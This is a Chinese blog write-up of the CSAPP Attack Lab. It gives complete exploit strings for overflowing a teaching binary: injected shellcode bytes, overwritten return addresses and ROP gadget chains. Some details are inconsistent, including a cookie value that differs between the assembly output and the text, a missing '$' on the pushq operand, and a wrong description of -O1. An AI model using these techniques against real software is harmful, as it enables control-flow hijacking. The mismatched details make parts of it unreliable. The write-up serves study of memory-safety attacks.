本文介绍的是CSAPP书籍中的第三个lab: Attack lab
。通过这个lab我们能够更加清楚和深入的了解到缓冲区溢出的隐患,以及如何利用缓冲区溢出这个漏洞对现有程序进行控制流劫持,执行非法程序代码,和对程序进行攻击以及破坏。
现在让我来揭开这个lab的每一层面纱:
Prerequire
(1)阅读《深入理解计算机系统》的3.10.2~3.10.5
(2)仔细阅读Attack lab的writeup
(3)熟练掌握gdb的使用,请参考gdb cheat sheet
(4)熟练x86-64下汇编的使用,详细请参考x64 cheat sheet
当然除了上面所必须了解的知识之外,我还建议大家看看cmu公开课Introducation to Computer System
中的Recitation 5: Attack lab and Stack。一开始拿到这个lab的时候,我是对于这个lab如何下手并不是很明确,看完这个Recitation才比较明白了如何做。
知识预热
C语言中对于数组的引用不进行任何边界检查,而且局部变量和状态信息(如保存的寄存器值和返回地址)都存放在栈中。当对越界的数组元素的写操作时,则会破坏存储在栈中的状态信息。一种常见的破坏就是缓冲区溢出
。通常,在栈中分配某个字符数组保存一个字符串,但是字符串的长度超出了为数组分配的空间。
程序示例:
/** echo.c 参照书籍中的代码*/
#include <stdio.h>
#include <stdlib.h>
void explosion(){
printf("!!!You touch the explosion");
exit(0);
}
/* Implementation of library function gets() */
char *custom_gets(char *s){
int c;
char *dest = s;
while((c = getchar()) != '\n' && c != EOF)
*dest++ = c;
if(c == EOF && dest == s)
/* No characters read */
return NULL;
*dest++ = '\0'; /* Terminate string */
return s;
}
/** Read input line and write it back */
void echo(){
char buf[8];
custom_gets(buf);
puts(buf);
}
int main(int argc, char* argv[]){
echo();
return 0;
}
gets的问题是它没有办法为确保整个字符串分配了足够的空间。在echo示例中,我们故意将缓冲区设的非常小--只有8字节。任何长度超过7个字符的字符串都会导致写越界。
检查GCC为echo 产生的汇编代码,看看栈是如何组织的:
使用如下命令可以从c源文件生成汇编代码
linux> gcc -fno-asynchronous-unwind-tables -fno-stack-protector -O1 -S echo.c
-
-fno-asynchronous-unwind-tables
选项是用来不生成CFI指令 -
-fno-stack-protector
选项阻止进行栈破坏检测,默认是允许使用栈保护者 -
-O1
不做任何优化处理 -
-S
生成汇编代码即结束
/** void echo() */
echo:
subq $24, %rsp
movq %rsp, %rdi
call custom_gets
movq %rsp, %rdi
call puts
addq $24, %rsp
ret
从汇编代码中可以看出,该程序在栈上为字符数组分配了24个字节。所以用户定义的字符数组为8个字节,意味着即使用户输入超过8个字节也不一定会对栈的状态信息造成破坏。但是如果用户输入超过23个字节,则会将echo的返回地址给破坏,这就是缓冲区溢出漏洞。
准备工作
从csapp的student site中下载下来整个lab,并且解压整个文件,可利用如下命令:
wget http://csapp.cs.cmu.edu/3e/target1.tar
tar -xvf target1.tar
大致浏览一下整个lab的目录,一共6个文件:
-
cookie.txt
一个8为16进行数,作为攻击的特殊标志符 -
farm.c
在ROP攻击中作为gadgets的产生源 -
ctarget
代码注入攻击的目标文件 -
rtarget
ROP攻击的目标文件 -
hex2row
将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
代码注入攻击
level 1
对于第一阶段,我们并不需要进行代码注入,我们需要做的就是劫持程序流,将函数的正常返回地址给重写,将函数重定向到我们指定的特定函数。在这个阶段中,我们要重定向到touch1
函数。
解题思路:
- 找到程序在栈为输入字符串分配了多大的空间
- 找到
touch1
函数的起始地址 - 将栈上分配的空间填满,并且在下8个字节,也就原先正常的返回地址上填上
touch1
函数的地址
ctarget
的正常流程如下:
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
正常的流程是调用getbuf
,然后从屏幕中输入字符串,如果正常退出的话,则会执行第5行代码。
void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
现在的流程是调用getbuf
,从屏幕输入字符串,然后程序返回到touch1
.
(1) 利用gdb
调试ctarget
找到我们需要的信息
linux> gdb ctarget
(2) 反汇编getbuf
函数,找到实际在栈上分配了多少字节
(gdb)> disas getbuf
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
从第一行sub $0x28, %rsp
中显示,在栈上为buf
提供了0x28也就是40个字节的空间
(3)反汇编touch1
函数,找到touch1
函数的起始地址
(gdb)> disas touch1
0x00000000004017c0 <+0>: sub $0x8,%rsp
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip)
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 <puts@plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d <validate>
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 <exit@plt>
从第一行中看出,touch1
的返回地址是0x00000000004017c0
以上,我们已经到了我们需要的所有关键信息,现在构建我们输入字符,首先填充栈,可以使用任意字符,这里我使用的是16进制的0x00填充,然后填充touch1
地址,最后得到是如下结果:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 <----- touch1的起始地址
注意的是字节序
的问题,大部分电脑应该都是little-endian
字节序,即低位在低地址,高位在高地址。
使用如下命令进行结果验证:
linux> ./hex2raw -i solutions/level1.txt | ./ctarget -q
level 2
第二阶段,我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf
中输入字符,然后拦截程序流,跳转到调用touch2
函数。首先,我们先查看一遍touch2
函数所做事情:
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
这段程序就是验证传进来的参数val
是否和cookie
中值相等。本文中我的cookie
值为:0x59b997fa
解题思路:
- 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为
%rsp
的地址 - 将
cookie
值移入到%rdi
,%rdi
是函数调用的第一个参数 - 获取
touch2
的起始地址 - 想要调用
touch2
,而又不能直接使用call
,jmp
等指令,所以只能使用ret
改变当前指令寄存器的指向地址。ret
是从栈上弹出返回地址,所以在次之前必须先将touch2
的地址压栈
综上所述,可以得到注入的代码为:
/** inject.s */ 注入的代码
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
我们需要将上述的汇编代码转化为计算机可以执行的指令序列,执行下列命令:
linux> gcc -c inject.s
linux> objdump -d inject.o
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 69 59 mov $0x596997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
可以得到这三条指令序列如下:
48 c7 c7 fa 97 69 59 68 ec 17 40 00 c3
接下来就是寻找%rsp
的地址,利用gdb
进行调试,获取我们需要的信息:
linux> gdb ctarget
(gdb)> break getbuf
(gdb)> run -q
(gdb)> disas
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
(gdb)> stepi
(gdb) p /x $rsp
$1 = 0x5561dc78
如上所示,我们获取到了%rsp
的地址,结合上文所讲,可以构造出如下字符串,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp
的地址,可以得到如下字符串:
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <--- 注入代码的起始地址
使用如下命令进行结果验证:
linux> ./hex2raw -i solutions/level2.txt | ./ctarget -q
level 3
第三阶段,也是需要在输入的字符串中注入一段代码,但是不同于第二阶段的是,在这一阶段中我们需要传递字符串作为参数。
在这一段中我们需要劫持控制流,在正常返回的时候,跳转到touch3
函数,其中touch3
函数的代码如下:
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
在touch3
函数中调用了hexmatch
函数,这个函数的功能是匹配cookie
和传进来的字符是否匹配。在本文中cookie
的值是0x59b997fa
,所以我们传进去的参数应该是"59b997fa"
。
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
Some Advice
- 在C语言中字符串是以
\0
结尾,所以在字符串序列的结尾是一个字节0 -
man ascii
可以用来查看每个字符的16进制表示 - 当调用
hexmatch
和strncmp
时,他们会把数据压入到栈中,有可能会覆盖getbuf
栈帧的数据,所以传进去字符串的位置必须小心谨慎。
对于传进去字符串的位置,如果放在getbuf
栈中,因为:
char *s = cbuf + random() % 100;
s
的位置是随机的,所以之前留在getbuf
中的数据,则有可能被hexmatch
所重写,所以放在getbuf
中并不安全。为了安全起见,我们把字符串放在getbuf
的父栈帧中,也就是test
栈帧中。
解题思路:
- 将
cookie
字符串转化为16进制 - 将字符串的地址传送到
%rdi
中 - 和第二阶段一样,想要调用
touch3
函数,则先将touch3
函数的地址压栈,然后调用ret
指令。
综上所述,可以得到注入的代码为:
/** inject.s */ 注入的代码
movq $0x5561dca8, %rdi
pushq 0x4018fa
ret
我们需要将上述的汇编代码转化为计算机可以执行的指令序列,执行下列命令:
linux> gcc -c inject.s
linux> objdump -d inject.o
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
可以得到这三条指令序列如下:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
使用man ascii
命令,可以得到cookie
的16进制数表示:
35 39 62 39 39 37 66 61 00
根据上述,我们可以得到最后输入字符的序列如下:
48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00
使用如下命令进行结果验证:
linux> ./hex2raw -i solutions/level3.txt | ./ctarget -q
ROP攻击
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。
(1)栈随机化
栈随机化
的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。
(2)栈破坏检测
最近的GCC版本在产生的代码加入了一种栈保护者
机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。
(3)限制可执行代码区域
最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。
在ROP攻击中,因为栈上限制了不可插入可执行代码,所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列,并且这些指令是以ret
结尾,这一段指令序列,我们称之为gadget
。
每一段gadget
包含一系列指令字节,而且以ret
结尾,跳转到下一个gadget
,就这样连续的执行一系列的指令代码,对程序造成攻击。
示例
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
对于上述代码,进行反汇编我们可以得到如下的执行序列,从中我们一个得到一个有趣指令序列:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
其中,字节序列48 89 c7
是对指令movq %rax, %rdi
的编码,就这样我们可以利用已经存在的程序,从中提取出特定的指令,执行特定的功能,地址为0x400f18
,其功能是将%rax
的内容移到%rdi
。
指令的编码如下所示:
level 2
在这一阶段中,我们其实是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到touch2
函数。只不过这个我们要做的是ROP攻击,这一阶段我们无法再像上一阶段中将指令序列放入到栈中,所以我们需要到现有的程序中,找到我们需要的指令序列。
我们需要的代码序列如下:
popq %rax
movq %rax, %rdi
popq %rax
的指令字节为:58
,所以我们找到了如下函数:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3
从中我们可以得出popq %rax
指令的地址为:0x4019ab
movq %rax, %rdi
的指令字节为:48 89 c7
,所以我们找到了如下函数:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
从中我们可以得出movq %rax, %rdi
指令的地址为:0x4019a2
综合上面所述,我们可以得到如下所述的字符串:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
使用如下命令进行结果验证:
linux> ./hex2raw -i solutions/level4.txt | ./ctarget -q
level 3
在这一阶段中,我们需要做的就是把字符串的起始地址,传送到%rdi
,然后调用touch3
函数。
因为每次栈的位置是随机的,所以无法直接用地址来索引字符串的起始地址,只能用栈顶地址 + 偏移量来索引字符串的起始地址。从farm
中我们可以获取到这样一个gadget
,lea (%rdi,%rsi,1),%rax
,这样就可以把字符串的首地址传送到%rax
。
解题思路:
(1)首先获取到%rsp
的地址,并且传送到%rdi
(2)其二获取到字符串的偏移量值,并且传送到%rsi
(3)lea (%rdi,%rsi,1),%rax
, 将字符串的首地址传送到%rax
, 再传送到%rdi
(4)调用touch3
函数
(1) 第一步,获取到%rsp
的地址
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3
movq %rsp, %rax
的指令字节为:48 89 e0
, 所以这一步的gadget
地址为:0x401a06
(2) 第二步,将%rax
的内容传送到%rdi
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
movq %rax, %rdi
的指令字节为:48 89 c7
,所以这一步的gadget
地址为:0x4019a2
(3) 第三步,将偏移量的内容弹出到%rax
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3
popq %rax
的指令字节为:58
, 其中90
为nop
指令, 所以这一步的gadget
地址为:0x4019cc
(4) 第四步,将%eax
的内容传送到%edx
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3
movl %eax, %edx
的指令字节为:89 c2
, 所以这一步的gadget
地址为:0x4019dd
(5) 第五步,将%edx
的内容传送到%ecx
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3
movl %edx, %ecx
的指令字节为:89 d1
,所以这一步的gadget
地址为:0x401a70
(6) 第六步,将%ecx
的内容传送到%esi
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
movl %ecx, %esi
的指令字节为:89 ce
, 所以这一步gadget
地址为:0x401a13
(7) 第七步,将栈顶 + 偏移量得到字符串的首地址传送到%rax
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
这一步的gadget
地址为:0x4019d6
(8) 将字符串首地址%rax
传送到%rdi
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
movq %rax, %rdi
的指令字节为:48 89 c7
,所以这一步的gadget
地址为:0x4019a2
整个栈的结构如下:
综上所述,我们可以得到字符串首地址和返回地址之前隔了9条指令,所以偏移量为72个字节,也就是0x48
,可以的到如下字符串的输入:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
使用如下命令进行结果验证:
linux> ./hex2raw -i solutions/level5.txt | ./ctarget -q
总结
在做完整个lab下来,感觉真的受益良多,对于栈的理解有了更加深层的理解;对于缓冲区溢出也是更深入的了解,对于以后编写更加安全的代码,能够更加关注这一点。
能够站在更加底层的方面审视代码,才能够更深刻的理解代码的原理。